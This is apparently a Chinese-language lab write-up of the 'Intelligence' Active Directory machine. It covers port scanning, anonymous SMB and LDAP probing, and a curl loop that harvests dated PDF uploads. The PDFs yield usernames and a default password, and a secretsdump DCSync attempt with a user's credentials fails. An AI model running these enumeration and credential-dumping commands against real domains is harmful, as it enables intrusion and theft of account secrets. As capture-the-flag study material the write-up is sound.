PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-title: Intelligence 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-14 15:04:17Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10 Aggressive OS guesses: Microsoft Windows Server 2019 (97%), Microsoft Windows 10 1903 - 22H2 (91%)
Sharename Type Comment --------- ---- ------- SMB1 disabled -- no workgroup available
rpcclient -U "" -N 10.129.95.154
lookupsid guest@10.129.95.154 -no-pass [-] SMB SessionError: code: 0xc0000072 - STATUS_ACCOUNT_DISABLED - The referenced account is currently disabled and may not be logged on to.
LDAP 389、636、3268、3269
1 2 3 4
ldapsearch -x -H ldap://10.129.95.154 -b "dc=example,dc=com" "(objectClass=*)" result: 1 Operations error text: 000004DC: LdapErr: DSID-0C090A5C, comment: In order to perform this ope ration a successful bind must be completed on the connection., data 0, v4563
什么信息都没有?
看看 pdf PDF 格式本质上是一个容器，它由四部分组成：
文件头（Header）
对象（Objects）—— 正文、图片、字体、元数据等
交叉引用表（Cross-reference table）
文件尾（Trailer） PDF 支持对象压缩、流对象（Stream）、增量更新等特性，数据可以嵌套多层，这给隐写提供了巨大的“藏匿空间”。
2. PDF 常见的隐写手法（对照你的文件可查）
隐写层级
具体手法
你的 1.pdf 可排查点
元数据层
在 XMP 元数据或 DocInfo 中插入 Base 64 编码的密文。
用文本编辑器打开开头部分，看 /Author、/Subject 是否有异常长字符串。
流对象层（最常见）
修改图片流（如 JPEG/JPX）的最低有效位（LSB），或修改文本流的字间距、行距编码信息。
检查 PDF 内嵌图片的原始字节流，或使用 pdfid 查看是否存在非标准过滤器（如 /FlateDecode 嵌套 /Crypt）。
冗余对象层
插入一个未引用（Unreferenced） 的对象。PDF 阅读器会忽略它，但提取工具可以读取。
检查对象数量是否远大于页面实际所需（比如只有 1 页，却有上百个对象）。
增量更新层
利用 PDF 的增量保存特性，在文件末尾追加新的修订版本，旧数据被覆盖标记但并未擦除。
检查文件尾是否有多个 %%EOF 标记（正常只有 1 个，隐写可能有多个）。
文件名/附件层
将压缩包（ZIP/RAR）或 EXE 嵌入为 PDF 的附加文件（EmbeddedFile），并伪装成普通注释。
Consectetur non est voluptatem etincidunt ut neque velit. Velit tempora etincidunt sit eius dolor. Consectetur porro etincidunt voluptatem dolor modi aliquam. Velit etincidunt velit etincidunt neque modi. Numquam magnam adipisci consectetur adipisci etincidunt neque neque. Modi dolorem magnam dolore. Est consectetur tempora etincidunt quisquam. Labore numquam quisquam non modi est labore quaerat. Amet neque voluptatem voluptatem labore aliquam tempora. Magnam amet aliquam ipsum quisquam ut velit porro. Aliquam neque consectetur quiquia dolor ut amet dolor. Numquam velit neque sed quisquam velit dolore labore. Amet labore quisquam tempora est. Ut ipsum modi non voluptatem sit. Modi aliquam dolor sit. Modi tempora numquam dolorem sit ut quiquia. Adipisci velit numquam porro dolor eius quaerat quaerat. Velit dolore modi quisquam. Quiquia ipsum etincidunt est tempora. Neque non neque sit dolorem consectetur voluptatem eius. Eius quisquam eius etincidunt. Est amet labore quiquia numquam. Ipsum numquam non voluptatem dolorem quaerat quisquam non. Magnam quaerat velit etincidunt dolore dolor. Amet dolor dolor non tempora. Aliquam adipisci tempora consectetur modi quiquia tempora porro. Amet adipisci voluptatem labore. Sit quisquam quaerat ipsum consectetur dolor labore quaerat. Est amet amet dolorem ipsum eius voluptatem. Sit ut voluptatem sed numquam amet. Etincidunt eius est modi. Modi sed etincidunt amet.
一般来说这种都是占位语言 Lorem Ipsum 文本不会有意义 但是可能这个是那种字典 密码就在里面
for month in $(seq -w 1 12); do for day in $(seq -w 1 31); do filename="2020-${month}-${day}-upload.pdf" url="${BASE}/${filename}" outname="${month}${day}.pdf"
code=$(curl -s -o /dev/null -w "%{http_code}" "$url") if [ "$code" = "200" ]; then curl -s -o "${OUTDIR}/${outname}" "$url" echo "[OK] ${outname} <- ${filename}" fi done done
echo "Done. Files in: $OUTDIR"
80 个 pdf..
批量 grep creator:
1 2 3 4 5 6 7 8 9 10 11 12
for f in *.pdf; do creator=$(strings "$f" | grep '/Creator' | grep -v 'TeX' | head -1 | sed 's/.*(\(.*\)).*/\1/'); if [ -n "$creator" ]; then echo "$f $creator"; fi; done | sort -k2
New Account Guide Welcome to Intelligence Corp! Please login using your username and the default password of: NewIntelligenceCorpUser9876 After logging in please change your password as soon as possible.
Internal IT Update There has recently been some outages on our web servers. Ted has gotten a script in place to help notify us if this happens again. Also, after discussion following our recent security audit we are in the process of locking down our service accounts. 内部 IT 更新 我们最近的一些网络服务器出现了停机。泰德已经设置了一个脚本，以帮助我们再次发生这种情况时得到通知。 此外，在我们最近的安全生产审核后，我们正在锁定我们的服务账户。
# 以TED凭据执行 DCSync secretsdump.py intelligence.htb/Ted.Graves:'Mr.Teddy'@10.129.95.154 [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets [-] DRSR SessionError: code: 0x20f7 - ERROR_DS_DRA_BAD_DN - The distinguished name specified for this replication operation is invalid. [*] Something went wrong with the DRSUAPI approach. Try again with -use-vss parameter [*] Cleaning up...
